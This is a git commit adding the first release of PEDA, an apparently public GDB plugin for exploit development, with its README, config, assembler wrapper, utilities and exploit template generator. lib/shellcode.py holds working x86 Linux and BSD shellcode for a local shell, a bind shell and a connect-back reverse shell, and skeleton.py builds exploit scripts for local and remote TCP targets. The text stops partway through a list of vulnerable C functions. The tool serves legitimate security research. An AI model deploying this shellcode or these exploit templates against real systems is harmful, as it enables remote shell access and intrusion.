Initial commit - peda-1.0

This commit is contained in:
longld 2012-08-03 13:33:45 +07:00
parent 9dd4a9fc63
commit ddc5e16d67
8 changed files with 6997 additions and 0 deletions

3
LICENSE Normal file
View File

@ -0,0 +1,3 @@
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
http://creativecommons.org/licenses/by-nc-sa/3.0/

45
README Normal file
View File

@ -0,0 +1,45 @@
PEDA - Python Exploit Development Assistance for GDB
Version: 1.0
Release: special public release, Black Hat USA 2012
0. Credits
- Huy Phan (pdah) for reviewing code
1. Introduction
PEDA is a Python GDB script with many handy commands to help speed up
exploit development process on Linux/Unix. It is also a framework for
writing custom interactive Python GDB commands.
2. Requirements
- PEDA 1.0 is only support Linux
- GDB 7.x
- Python 2.6+
- Utilities: nasm, readelf, objdump
3. Installation
- Download
$ wget http://ropshell.com/peda/peda.tar.gz
- Unpack to HOME directory
$ tar zxvf peda.tar.gz
- Append a line to ~/.gdbinit to load PEDA when GDB starts
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
4. Usage
- List of available commands:
gdb-peda$ peda help
- Search for some commands:
gdb-peda$ apropos <keyword>
gdb-peda$ help <keyword>
- Get usage manual of specific command:
gdb-peda$ phelp <command>
gdb-peda$ help <command>
- Get/set config option:
gdb-peda$ pshow option
gdb-peda$ pset option <name> <value>

90
lib/config.py Normal file
View File

@ -0,0 +1,90 @@
#
# PEDA - Python Exploit Development Assistance for GDB
#
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
#
# License: see LICENSE file for details
#
# change below settings to match your needs
## BEGIN OF SETTINGS ##
# external binaries, required for some commands
READELF = "/usr/bin/readelf"
OBJDUMP = "/usr/bin/objdump"
NASM = "/usr/bin/nasm"
NDISASM = "/usr/bin/ndisasm"
# PEDA global options
OPTIONS = {
"badchars" : ("", "bad characters to be filtered in payload/output, e.g: '\\x0a\\x00'"),
"pattern" : (1, "pattern type, 0 = basic, 1 = extended"),
"indent" : (4, "number of ident spaces for output python payload, e.g: 0|4|8"),
"ansicolor" : ("on", "enable/disable colorized output, e.g: on|off"),
"pagesize" : (25, "number of lines to display per page, 0 = disable paging"),
"session" : ("peda-session-#FILENAME#.txt", "target file to save peda session"),
"tracedepth": (0, "max depth for calls/instructions tracing, 0 means no limit"),
"tracelog" : ("peda-trace-#FILENAME#.txt", "target file to save tracecall output"),
"crashlog" : ("peda-crashdump-#FILENAME#.txt", "target file to save crash dump of fuzzing"),
"snapshot" : ("peda-snapshot-#FILENAME#.raw", "target file to save crash dump of fuzzing"),
"autosave" : ("on", "auto saving peda session, e.g: on|off"),
"payload" : ("peda-payload-#FILENAME#.txt", "target file to save output of payload command"),
"context" : ("register,code,stack", "context display setting, e.g: register, code, stack, all"),
"verbose" : ("off", "show detail execution of commands, e.g: on|off"),
"debug" : ("off", "show detail error of peda commands, e.g: on|off"),
"_teefd" : ("", "internal use only for tracelog/crashlog writing")
}
## END OF SETTINGS ##
class Option(object):
"""
Class to access global options of PEDA commands and functions
TODO: save/load option to/from file
"""
options = OPTIONS.copy()
def __init__(self):
"""option format: name = (value, 'help message')"""
pass
@staticmethod
def reset():
"""reset to default options"""
Option.options = OPTIONS.copy()
return True
@staticmethod
def show(name=""):
"""display options"""
result = {}
for opt in Option.options:
if name in opt and not opt.startswith("_"):
result[opt] = Option.options[opt][0]
return result
@staticmethod
def get(name):
"""get option"""
if name in Option.options:
return Option.options[name][0]
else:
return None
@staticmethod
def set(name, value):
"""set option"""
if name in Option.options:
Option.options[name] = (value, Option.options[name][1])
return True
else:
return False
@staticmethod
def help(name=""):
"""display help info of options"""
result = {}
for opt in Option.options:
if name in opt and not opt.startswith("_"):
result[opt] = Option.options[opt][1]
return result

92
lib/nasm.py Normal file
View File

@ -0,0 +1,92 @@
#
# PEDA - Python Exploit Development Assistance for GDB
#
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
#
# License: see LICENSE file for details
#
import os
from utils import *
import config
class Nasm(object):
"""
Wrapper class for assemble/disassemble using nasm/ndisassm
"""
def __init__(self):
pass
@staticmethod
def assemble(asmcode, mode=32):
"""
Assemble ASM instructions using NASM
- asmcode: input ASM instructions, multiple instructions are separated by ";" (String)
- mode: 16/32/64 bits assembly
Returns:
- bin code (raw bytes)
"""
asmcode = asmcode.strip('"').strip("'")
asmcode = asmcode.replace(";", "\n")
asmcode = ("BITS %d\n" % mode) + asmcode
asmcode = asmcode.decode('string_escape')
infd = tmpfile()
outfd = tmpfile()
infd.write(asmcode)
infd.flush()
execute_external_command("%s -f bin -o %s %s" % (config.NASM, outfd.name, infd.name))
bincode = outfd.read()
infd.close()
if os.path.exists(outfd.name):
outfd.close()
return bincode
@staticmethod
def disassemble(buf, mode=32):
"""
Disassemble binary to ASM instructions using NASM
- buf: input binary (raw bytes)
- mode: 16/32/64 bits assembly
Returns:
- ASM code (String)
"""
out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf)
return out
@staticmethod
def format_shellcode(buf, mode=32):
"""
Format raw shellcode to ndisasm output display
"\x6a\x01" # 0x00000000: push byte +0x1
"\x5b" # 0x00000002: pop ebx
TODO: understand syscall numbers, socket call
"""
def nasm2shellcode(asmcode):
if not asmcode:
return ""
shellcode = []
pattern = re.compile("([0-9A-F]{8})\s*([^\s]*)\s*(.*)")
matches = pattern.findall(asmcode)
for line in asmcode.splitlines():
m = pattern.match(line)
if m:
(addr, bytes, code) = m.groups()
sc = '"%s"' % to_hexstr(bytes.decode('hex'))
shellcode += [(sc, "0x"+addr, code)]
maxlen = max([len(x[0]) for x in shellcode])
text = ""
for (sc, addr, code) in shellcode:
text += "%s # %s: %s\n" % (sc.ljust(maxlen+1), addr, code)
return text
out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf)
return nasm2shellcode(out)

276
lib/shellcode.py Normal file
View File

@ -0,0 +1,276 @@
#
# PEDA - Python Exploit Development Assistance for GDB
#
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
#
# License: see LICENSE file for details
#
import random
import socket
import struct
shellcode_x86_linux = {
"exec": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
"\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000000D: mov ebx,esp
"\x31\xc9" # 0x0000000F: xor ecx,ecx
"\x89\xca" # 0x00000011: mov edx,ecx
"\x6a\x0b" # 0x00000013: push byte +0xb
"\x58" # 0x00000015: pop eax
"\xcd\x80" # 0x00000016: int 0x80 ; execve()
),
"bindport": (
"\x31\xdb" # 0x00000000: xor ebx,ebx
"\x53" # 0x00000002: push ebx
"\x43" # 0x00000003: inc ebx
"\x53" # 0x00000004: push ebx
"\x6a\x02" # 0x00000005: push byte +0x2
"\x6a\x66" # 0x00000007: push byte +0x66
"\x58" # 0x00000009: pop eax
"\x99" # 0x0000000A: cdq
"\x89\xe1" # 0x0000000B: mov ecx,esp
"\xcd\x80" # 0x0000000D: int 0x80 ; socket()
"\x96" # 0x0000000F: xchg eax,esi
"\x43" # 0x00000010: inc ebx
"\x52" # 0x00000011: push edx
"\x66\x68\x41\x42" # 0x00000012: push word 0x4241 ; port = 0x4142
"\x66\x53" # 0x00000016: push bx
"\x89\xe1" # 0x00000018: mov ecx,esp
"\x6a\x66" # 0x0000001A: push byte +0x66
"\x58" # 0x0000001C: pop eax
"\x50" # 0x0000001D: push eax
"\x51" # 0x0000001E: push ecx
"\x56" # 0x0000001F: push esi
"\x89\xe1" # 0x00000020: mov ecx,esp
"\xcd\x80" # 0x00000022: int 0x80 ; bind()
"\xb0\x66" # 0x00000024: mov al,0x66
"\xd1\xe3" # 0x00000026: shl ebx,1
"\xcd\x80" # 0x00000028: int 0x80 ; listen()
"\x52" # 0x0000002A: push edx
"\x52" # 0x0000002B: push edx
"\x56" # 0x0000002C: push esi
"\x43" # 0x0000002D: inc ebx
"\x89\xe1" # 0x0000002E: mov ecx,esp
"\xb0\x66" # 0x00000030: mov al,0x66
"\xcd\x80" # 0x00000032: int 0x80 ; accept()
"\x93" # 0x00000034: xchg eax,ebx
"\x6a\x02" # 0x00000035: push byte +0x2
"\x59" # 0x00000037: pop ecx
"\xb0\x3f" # 0x00000038: mov al,0x3f
"\xcd\x80" # 0x0000003A: int 0x80 ; dup2()
"\x49" # 0x0000003C: dec ecx
"\x79\xf9" # 0x0000003D: jns 0x38
"\xb0\x0b" # 0x0000003F: mov al,0xb
"\x52" # 0x00000041: push edx
"\x68\x2f\x2f\x73\x68" # 0x00000042: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000047: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000004C: mov ebx,esp
"\x52" # 0x0000004E: push edx
"\x53" # 0x0000004F: push ebx
"\x89\xe1" # 0x00000050: mov ecx,esp
"\xcd\x80" # 0x00000052: int 0x80 ; execve()
),
"connect": (
"\x31\xdb" # 0x00000000: xor ebx,ebx
"\x53" # 0x00000002: push ebx
"\x43" # 0x00000003: inc ebx
"\x53" # 0x00000004: push ebx
"\x6a\x02" # 0x00000005: push byte +0x2
"\x6a\x66" # 0x00000007: push byte +0x66
"\x58" # 0x00000009: pop eax
"\x89\xe1" # 0x0000000A: mov ecx,esp
"\xcd\x80" # 0x0000000C: int 0x80 ; socket()
"\x93" # 0x0000000E: xchg eax,ebx
"\x59" # 0x0000000F: pop ecx
"\xb0\x3f" # 0x00000010: mov al,0x3f
"\xcd\x80" # 0x00000012: int 0x80 ; dup2()
"\x49" # 0x00000014: dec ecx
"\x79\xf9" # 0x00000015: jns 0x10
"\x5b" # 0x00000017: pop ebx
"\x5a" # 0x00000018: pop edx
"\x68\x7f\x7f\x7f\x7f" # 0x00000019: push dword 0x7f7f7f7f ; address = 127.127.127.127
"\x66\x68\x41\x42" # 0x0000001E: push word 0x4241 ; port = 0x4142
"\x43" # 0x00000022: inc ebx
"\x66\x53" # 0x00000023: push bx
"\x89\xe1" # 0x00000025: mov ecx,esp
"\xb0\x66" # 0x00000027: mov al,0x66
"\x50" # 0x00000029: push eax
"\x51" # 0x0000002A: push ecx
"\x53" # 0x0000002B: push ebx
"\x89\xe1" # 0x0000002C: mov ecx,esp
"\x43" # 0x0000002E: inc ebx
"\xcd\x80" # 0x0000002F: int 0x80 ; connect()
"\x52" # 0x00000031: push edx
"\x68\x2f\x2f\x73\x68" # 0x00000032: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000037: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000003C: mov ebx,esp
"\x52" # 0x0000003E: push edx
"\x53" # 0x0000003F: push ebx
"\x89\xe1" # 0x00000040: mov ecx,esp
"\xb0\x0b" # 0x00000042: mov al,0xb
"\xcd\x80" # 0x00000044: int 0x80 ; execve()
)
}
shellcode_x86_bsd = {
"exec": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
"\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f; /bin
"\x89\xe3" # 0x0000000D: mov ebx,esp
"\x50" # 0x0000000F: push eax
"\x50" # 0x00000010: push eax
"\x53" # 0x00000011: push ebx
"\x50" # 0x00000012: push eax
"\x6a\x3b" # 0x00000013: push byte +0x3b
"\x58" # 0x00000015: pop eax
"\xcd\x80" # 0x00000016: int 0x80 ; execve()
),
"bindport": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
"\x68\xff\x02\x41\x42" # 0x00000003: push dword 0x424102ff ; port = x04142
"\x89\xe7" # 0x00000008: mov edi,esp
"\x50" # 0x0000000A: push eax
"\x6a\x01" # 0x0000000B: push byte +0x1
"\x6a\x02" # 0x0000000D: push byte +0x2
"\x6a\x10" # 0x0000000F: push byte +0x10
"\xb0\x61" # 0x00000011: mov al,0x61
"\xcd\x80" # 0x00000013: int 0x80 ; socket()
"\x57" # 0x00000015: push edi
"\x50" # 0x00000016: push eax
"\x50" # 0x00000017: push eax
"\x6a\x68" # 0x00000018: push byte +0x68
"\x58" # 0x0000001A: pop eax
"\xcd\x80" # 0x0000001B: int 0x80 ; bind()
"\x89\x47\xec" # 0x0000001D: mov [edi-0x14],eax
"\xb0\x6a" # 0x00000020: mov al,0x6a
"\xcd\x80" # 0x00000022: int 0x80 ; listen()
"\xb0\x1e" # 0x00000024: mov al,0x1e
"\xcd\x80" # 0x00000026: int 0x80 ; accept()
"\x50" # 0x00000028: push eax
"\x50" # 0x00000029: push eax
"\x6a\x5a" # 0x0000002A: push byte +0x5a
"\x58" # 0x0000002C: pop eax
"\xcd\x80" # 0x0000002D: int 0x80 ; dup2()
"\xff\x4f\xe4" # 0x0000002F: dec dword [edi-0x1c]
"\x79\xf6" # 0x00000032: jns 0x2a
"\x50" # 0x00000034: push eax
"\x68\x2f\x2f\x73\x68" # 0x00000035: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x0000003A: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000003F: mov ebx,esp
"\x50" # 0x00000041: push eax
"\x54" # 0x00000042: push esp
"\x53" # 0x00000043: push ebx
"\x50" # 0x00000044: push eax
"\xb0\x3b" # 0x00000045: mov al,0x3b
"\xcd\x80" # 0x00000047: int 0x80 ; execve()
),
"connect": (
"\x68\x7f\x7f\x7f\x7f" # 0x00000000: push dword 0x7f7f7f7f ; address = 127.127.127.127
"\x68\xff\x02\x41\x42" # 0x00000005: push dword 0x424102ff ; port = 0x4142
"\x89\xe7" # 0x0000000A: mov edi,esp
"\x31\xc0" # 0x0000000C: xor eax,eax
"\x50" # 0x0000000E: push eax
"\x6a\x01" # 0x0000000F: push byte +0x1
"\x6a\x02" # 0x00000011: push byte +0x2
"\x6a\x10" # 0x00000013: push byte +0x10
"\xb0\x61" # 0x00000015: mov al,0x61
"\xcd\x80" # 0x00000017: int 0x80 ; socket()
"\x57" # 0x00000019: push edi
"\x50" # 0x0000001A: push eax
"\x50" # 0x0000001B: push eax
"\x6a\x62" # 0x0000001C: push byte +0x62
"\x58" # 0x0000001E: pop eax
"\xcd\x80" # 0x0000001F: int 0x80 ; connect()
"\x50" # 0x00000021: push eax
"\x6a\x5a" # 0x00000022: push byte +0x5a
"\x58" # 0x00000024: pop eax
"\xcd\x80" # 0x00000025: int 0x80 ; dup2()
"\xff\x4f\xe8" # 0x00000027: dec dword [edi-0x18]
"\x79\xf6" # 0x0000002A: jns 0x22
"\x68\x2f\x2f\x73\x68" # 0x0000002C: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000031: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x00000036: mov ebx,esp
"\x50" # 0x00000038: push eax
"\x54" # 0x00000039: push esp
"\x53" # 0x0000003A: push ebx
"\x50" # 0x0000003B: push eax
"\xb0\x3b" # 0x0000003C: mov al,0x3b
"\xcd\x80" # 0x0000003E: int 0x80 ; execve()
)
}
shellcode_x86 = {"linux": shellcode_x86_linux, "bsd": shellcode_x86_bsd}
SHELLCODES = {"x86": shellcode_x86}
class Shellcode():
"""
Simple wrapper for pre-defined shellcodes generation
For complete and advanced shellcodes, Metasploit is recommended
"""
def __init__(self, arch="x86", platform="linux"):
if arch in SHELLCODES and platform in SHELLCODES[arch]:
self.shellcodes = SHELLCODES[arch][platform].copy()
else:
self.shellcodes = None
@staticmethod
def gennop(size, NOPS=None):
"""
genNOP is used to create an arbitrary length NOP sled using characters of your choosing.
Perhaps you prefer \x90, perhaps you like the defaults. Given a list of NOP characters,
genNOP will randomize and spit out something not easily recognized by the average human/rev engineer.
Still, while you are working a vulnerability, you may prefer to specify one byte such as "A" or
"\x90" as they are easily identified while searching memory.
Defaults:
# inc eax @ \x40
# inc ecx A \x41
# inc edx B \x42
# inc ebx C \x43
# inc esp D \x44
# inc ebp E \x45
# inc esi F \x46
# inc edi G \x47
# dec eax H \x48
# dec esx J \x4a
# daa ' \x27
# das / \x2f
# nop \x90
# xor eax,eax \x33\xc0
source: atlasutils
"""
DEFAULT_NOPS = "ABCFGHKIJ@'"
if (not NOPS):
NOPS = DEFAULT_NOPS
sled = ""
for i in range(size,0,-1):
N = random.randint(0,len(NOPS)-1)
sled += NOPS[N]
return sled
def shellcode(self, sctype, port=None, host=None):
if not self.shellcodes or sctype not in self.shellcodes:
return None
if port is None:
port=16706
if host is None:
host='127.127.127.127'
shellcode = self.shellcodes[sctype]
try:
port = struct.pack(">H", port)
addr = socket.inet_aton(host)
shellcode = shellcode.replace("\x66\x68\x41\x42", "\x66\x68" + port)
shellcode = shellcode.replace("\x68\xff\x02\x41\x42", "\x68\xff\x02" + port)
shellcode = shellcode.replace("\x68\x7f\x7f\x7f\x7f", "\x68" + addr)
return shellcode
except:
return None

228
lib/skeleton.py Normal file
View File

@ -0,0 +1,228 @@
#
# PEDA - Python Exploit Development Assistance for GDB
#
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
#
# License: see LICENSE file for details
#
class ExploitSkeleton(object):
"""
Wrapper for exploit skeleton codes
"""
def __init__(self):
self.skeleton_basic = """
#!/usr/bin/env python
#
# Template for #TYPE# exploit code, generated by PEDA
#
import os
import sys
import struct
import time
def usage():
print "Usage: %s #USAGE#" % sys.argv[0]
return
def pattern(size=1024, start=0):
try:
bytes = open("pattern.txt").read(size+start)
return bytes[start:]
except:
return "A"*size
def nops(size=1024):
return "\\x90"*size
def int2hexstr(num, intsize=4):
if intsize == 8:
if num < 0:
result = struct.pack("<q", num)
else:
result = struct.pack("<Q", num)
else:
if num < 0:
result = struct.pack("<l", num)
else:
result = struct.pack("<L", num)
return result
def list2hexstr(intlist, intsize=4):
result = ""
for value in intlist:
if isinstance(value, str):
result += value
else:
result += int2hexstr(value, intsize)
return result
"""
self.skeleton_local_argv = self.skeleton_basic
self.skeleton_local_argv = self.skeleton_local_argv.replace("#TYPE#", "local argv")
self.skeleton_local_argv = self.skeleton_local_argv.replace("#USAGE#", "target_program")
self.skeleton_local_argv += """
def exploit(vuln):
padding = pattern(0)
payload = ["PAYLOAD"] # put your payload here
payload = list2hexstr(payload)
payload = padding + payload
args = [vuln, payload]
env = {"PEDA":nops()}
os.execve(vuln, args, env)
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit(sys.argv[1])
"""
self.skeleton_local_env = self.skeleton_basic
self.skeleton_local_env = self.skeleton_local_env.replace("#TYPE#", "local env")
self.skeleton_local_env = self.skeleton_local_env.replace("#USAGE#", "target_program")
self.skeleton_local_env += """
from ctypes import *
from ctypes.util import find_library
def exploit(vuln):
libc = cdll.LoadLibrary(find_library("c"))
execve = libc.execve
padding = pattern(0)
payload = ["PAYLOAD"] # put your payload here
payload = list2hexstr(payload)
payload = padding + payload
args = sys.argv[1:] + [None]
# create custom env with NULL value
env = [
"EGG",
"A","","","",
"B"*2,"","",
"C"*3,"",
"D"*4, "","","","","",
payload,
None ]
l = len(env)
envp = (c_char_p*l)()
for i in range(l):
envp[i] = cast(env[i], c_char_p)
l = len(args)
argp = (c_char_p*l)()
for i in range(l):
argp[i] = cast(args[i], c_char_p)
execve(vuln, argp, envp)
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit(sys.argv[1])
"""
self.skeleton_local_stdin = self.skeleton_basic
self.skeleton_local_stdin = self.skeleton_local_stdin.replace("#TYPE#", "local stdin")
self.skeleton_local_stdin = self.skeleton_local_stdin.replace("#USAGE#", "target_program")
self.skeleton_local_stdin += """
from subprocess import *
def exploit(vuln):
padding = pattern(0)
payload = ["PAYLOAD"] # put your payload here
payload = list2hexstr(payload)
payload = padding + payload
env = {"PEDA":nops()}
args = sys.argv[1:]
P = Popen(args, stdin=PIPE)
P.stdin.write(payload + "\\n")
while True:
line = sys.stdin.readline()
P.poll()
ret = P.returncode
if ret is None:
P.stdin.write(line)
else:
if ret == -11:
print "Child program crashed with SIGSEGV"
else:
print "Child program exited with code %d" % ret
break
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit(sys.argv[1])
"""
self.skeleton_remote_tcp = self.skeleton_basic
self.skeleton_remote_tcp = self.skeleton_remote_tcp.replace("#TYPE#", "remote TCP")
self.skeleton_remote_tcp = self.skeleton_remote_tcp.replace("#USAGE#", "host port")
self.skeleton_remote_tcp += """
from socket import *
import telnetlib
class TCPClient():
def __init__(self, host, port, debug=0):
self.debug = debug
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.connect((host, port))
def debug_log(self, size, data, cmd):
if self.debug != 0:
print "%s(%d): %s" % (cmd, size, repr(data))
def send(self, data, delay=0):
if delay:
time.sleep(delay)
nsend = self.sock.send(data)
self.debug_log(nsend, data, "send")
return nsend
def sendline(self, data, delay=0):
nsend = self.send(data + "\\n", delay)
return nsend
def recv(self, size=1024, delay=0):
if delay:
time.sleep(delay)
buf = self.sock.recv(size)
self.debug_log(len(buf), buf, "recv")
return buf
def recv_until(self, delim):
buf = ""
while True:
c = self.sock.recv(1)
buf += c
if delim in buf:
break
self.debug_log(len(buf), buf, "recv")
return buf
def recvline(self):
buf = self.recv_until("\\n")
return buf
def close(self):
self.sock.close()
def exploit(host, port):
port = int(port)
client = TCPClient(host, port, debug=1)
padding = pattern(0)
payload = ["PAYLOAD"] # put your payload here
payload = list2hexstr(payload)
payload = padding + payload
raw_input("Enter to continue")
client.send(payload)
t = telnetlib.Telnet()
t.sock = client.sock
t.interact()
t.close()
if __name__ == "__main__":
if len(sys.argv) < 3:
usage()
else:
exploit(sys.argv[1], sys.argv[2])
"""

563
lib/utils.py Normal file
View File

@ -0,0 +1,563 @@
#
# PEDA - Python Exploit Development Assistance for GDB
#
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
#
# License: see LICENSE file for details
#
import tempfile
import pprint
import inspect
import sys
import struct
import string
import re
import itertools
from subprocess import *
import config
# http://wiki.python.org/moin/PythonDecoratorLibrary#Memoize
# http://stackoverflow.com/questions/8856164/class-decorator-decorating-method-in-python
class memoized(object):
"""
Decorator. Caches a function's return value each time it is called.
If called later with the same arguments, the cached value is returned
(not reevaluated).
"""
def __init__(self, func):
self.func = func
self.instance = None # bind with instance class of decorated method
self.cache = {}
self.__doc__ = inspect.getdoc(self.func)
def __call__(self, *args, **kwargs):
try:
return self.cache[(self.func, self.instance, args) + tuple(kwargs.items())]
except KeyError:
if self.instance is None:
value = self.func(*args, **kwargs)
else:
value = self.func(self.instance, *args, **kwargs)
self.cache[(self.func, self.instance, args) + tuple(kwargs.items())] = value
return value
except TypeError:
# uncachable -- for instance, passing a list as an argument.
# Better to not cache than to blow up entirely.
if self.instance is None:
return self.func(*args, **kwargs)
else:
return self.func(self.instance, *args, **kwargs)
def __repr__(self):
"""Return the function's docstring."""
return self.__doc__
def __get__(self, obj, objtype):
"""Support instance methods."""
if obj is None:
return self
else:
self.instance = obj
return self
def _reset(self):
"""Reset the cache"""
for cached in self.cache.keys():
if cached[0] == self.func and cached[1] == self.instance:
del self.cache[cached]
def reset_cache(module=None):
"""
Reset memoized caches of an instance/module
"""
if module is None:
module = sys.modules['__main__']
for m in dir(module):
m = getattr(module, m)
if isinstance(m, memoized):
m._reset()
else:
for f in dir(m):
f = getattr(m, f)
if isinstance(f, memoized):
f._reset()
return True
def tmpfile(pref="peda-"):
"""Create and return a temporary file with custom prefix"""
return tempfile.NamedTemporaryFile(prefix=pref)
def colorize(text, color=None, attrib=None):
"""
Colorize text using ansicolor
ref: https://github.com/hellman/libcolors/blob/master/libcolors.py
"""
# ansicolor definitions
COLORS = {"black": "30", "red": "31", "green": "32", "yellow": "33",
"blue": "34", "purple": "35", "cyan": "36", "white": "37"}
CATTRS = {"regular": "0", "bold": "1", "underline": "4", "strike": "9",
"light": "1", "dark": "2", "invert": "7"}
CPRE = '\033['
CSUF = '\033[0m'
if config.Option.get("ansicolor") != "on":
return text
ccode = ""
if attrib:
for attr in attrib.lower().split():
attr = attr.strip(",+|")
if attr in CATTRS:
ccode += ";" + CATTRS[attr]
if color in COLORS:
ccode += ";" + COLORS[color]
return CPRE + ccode + "m" + text + CSUF
def green(text, attrib=None):
"""Wrapper for colorize(text, 'green')"""
return colorize(text, "green", attrib)
def red(text, attrib=None):
"""Wrapper for colorize(text, 'red')"""
return colorize(text, "red", attrib)
def yellow(text, attrib=None):
"""Wrapper for colorize(text, 'yellow')"""
return colorize(text, "yellow", attrib)
def blue(text, attrib=None):
"""Wrapper for colorize(text, 'blue')"""
return colorize(text, "blue", attrib)
def msg(text, color=None, attrib=None, teefd=None):
"""
Generic pretty printer with redirection
"""
if not teefd:
teefd = config.Option.get("_teefd")
if isinstance(text, str) and "\x00" not in text:
print colorize(text, color, attrib)
if teefd:
print >> teefd, colorize(text, color, attrib)
else:
pprint.pprint(text)
if teefd:
pprint.pprint(text, teefd)
def warning_msg(text):
"""Colorize warning message with prefix"""
msg(colorize("Warning: " + text, "yellow"))
def error_msg(text):
"""Colorize error message with prefix"""
msg(colorize("Error: " + text, "red"))
def debug_msg(text):
"""Colorize debug message with prefix"""
msg(colorize("Debug: " + text, "blue"))
def trim(docstring):
"""
Handle docstring indentation, ref: PEP257
"""
if not docstring:
return ''
# Convert tabs to spaces (following the normal Python rules)
# and split into a list of lines:
lines = docstring.expandtabs().splitlines()
# Determine minimum indentation (first line doesn't count):
indent = sys.maxint
for line in lines[1:]:
stripped = line.lstrip()
if stripped:
indent = min(indent, len(line) - len(stripped))
# Remove indentation (first line is special):
trimmed = [lines[0].strip()]
if indent < sys.maxint:
for line in lines[1:]:
trimmed.append(line[indent:].rstrip())
# Strip off trailing and leading blank lines:
while trimmed and not trimmed[-1]:
trimmed.pop()
while trimmed and not trimmed[0]:
trimmed.pop(0)
# Return a single string:
return '\n'.join(trimmed)
def pager(text, pagesize=None):
"""
Paging output, mimic external command less/more
"""
i = 1
text = text.splitlines()
l = len(text)
if not pagesize:
pagesize = config.Option.get("pagesize")
for line in text:
msg(line)
if i % pagesize == 0:
ans = raw_input("--More--(%d/%d)" % (i, l))
if ans.lower().strip() == "q":
break
i += 1
return
def execute_external_command(command, cmd_input=None):
"""
Execute external command and capture its output
Args:
- command (String)
Returns:
- output of command (String)
"""
result = ""
P = Popen([command], stdout=PIPE, stdin=PIPE, shell=True)
(result, err) = P.communicate(cmd_input)
if err:
msg(err)
return result
def is_printable(text, printables=""):
"""
Check if a string is printable
"""
return (set(str(text)) - set(string.printable + printables) == set())
def is_math_exp(str):
"""
Check if a string is a math exprssion
"""
charset = set("0123456789abcdefx+-*/%^")
opers = set("+-*/%^")
exp = set(str.lower())
return (exp & opers != set()) and (exp - charset == set())
def normalize_argv(args, size=0):
"""
Normalize argv to list with predefined length
"""
args = list(args)
for (idx, val) in enumerate(args):
if to_int(val) is not None:
args[idx] = to_int(val)
if size and idx == size:
return args[:idx]
if size == 0:
return args
for i in range(len(args), size):
args += [None]
return args
def to_hexstr(str):
"""
Convert a string to hex escape represent
"""
return "".join(["\\x%02x" % ord(i) for i in str])
def to_hex(num):
"""
Convert a number to hex format
"""
if num < 0:
return "-0x%x" % (-num)
else:
return "0x%x" % num
def to_address(num):
"""
Convert a number to address format in hex
"""
if num < 0:
return to_hex(num)
if num > 0xffffffff: # 64 bit
return "0x%016x" % num
else:
return "0x%08x" % num
def to_int(val):
"""
Convert a string to int number
"""
try:
return int(str(val), 0)
except:
return None
def str2hex(str):
"""
Convert a string to hex encoded format
"""
result = str.encode('hex')
return result
def hex2str(hexnum):
"""
Convert a number in hex format to string
"""
if not isinstance(hexnum, str):
hexnum = to_hex(hexnum)
s = hexnum[2:]
if len(s) % 2 != 0:
s = "0" + s
result = s.decode('hex')[::-1]
return result
def int2hexstr(num, intsize=4):
"""
Convert a number to hexified string
"""
if intsize == 8:
if num < 0:
result = struct.pack("<q", num)
else:
result = struct.pack("<Q", num)
else:
if num < 0:
result = struct.pack("<l", num)
else:
result = struct.pack("<L", num)
return result
def list2hexstr(intlist, intsize=4):
"""
Convert a list of number/string to hexified string
"""
result = ""
for value in intlist:
if isinstance(value, str):
result += value
else:
result += int2hexstr(value, intsize)
return result
def str2intlist(data, intsize=4):
"""
Convert a string to list of int
"""
result = []
data = data.decode('string_escape')[::-1]
l = len(data)
data = ("\x00" * (intsize - l%intsize) + data) if l%intsize != 0 else data
for i in range(0, l, intsize):
if intsize == 8:
val = struct.unpack(">Q", data[i:i+intsize])[0]
else:
val = struct.unpack(">L", data[i:i+intsize])[0]
result = [val] + result
return result
@memoized
def check_badchars(data, chars=None):
"""
Check an address or a value if it contains badchars
"""
if to_int(data) is None:
to_search = data
else:
data = to_hex(to_int(data))[2:]
if len(data) % 2 != 0:
data = "0" + data
to_search = data.decode('hex')
if not chars:
chars = config.Option.get("badchars")
if chars:
for c in chars:
if c in to_search:
return True
return False
@memoized
def format_address(addr, type):
"""Colorize an address"""
colorcodes = {
"data": "blue",
"code": "red",
"rodata": "green",
"value": None
}
return colorize(addr, colorcodes[type])
@memoized
def format_reference_chain(chain):
"""
Colorize a chain of references
"""
v = t = vn = None
text = ""
if not chain:
text += "Cannot access memory address"
else:
first = 1
for (v, t, vn) in chain:
if t != "value":
text += "%s%s " % ("--> " if not first else "", format_address(v, t))
else:
text += "%s%s " % ("--> " if not first else "", v)
first = 0
if vn:
text += "(%s)" % vn
else:
if v != "0x0":
s = hex2str(v)
if is_printable(s, "\x00"):
text += "(%s)" % repr(s.split("\x00")[0])
return text
# vulnerable C functions, source: rats/flawfinder
VULN_FUNCTIONS = [
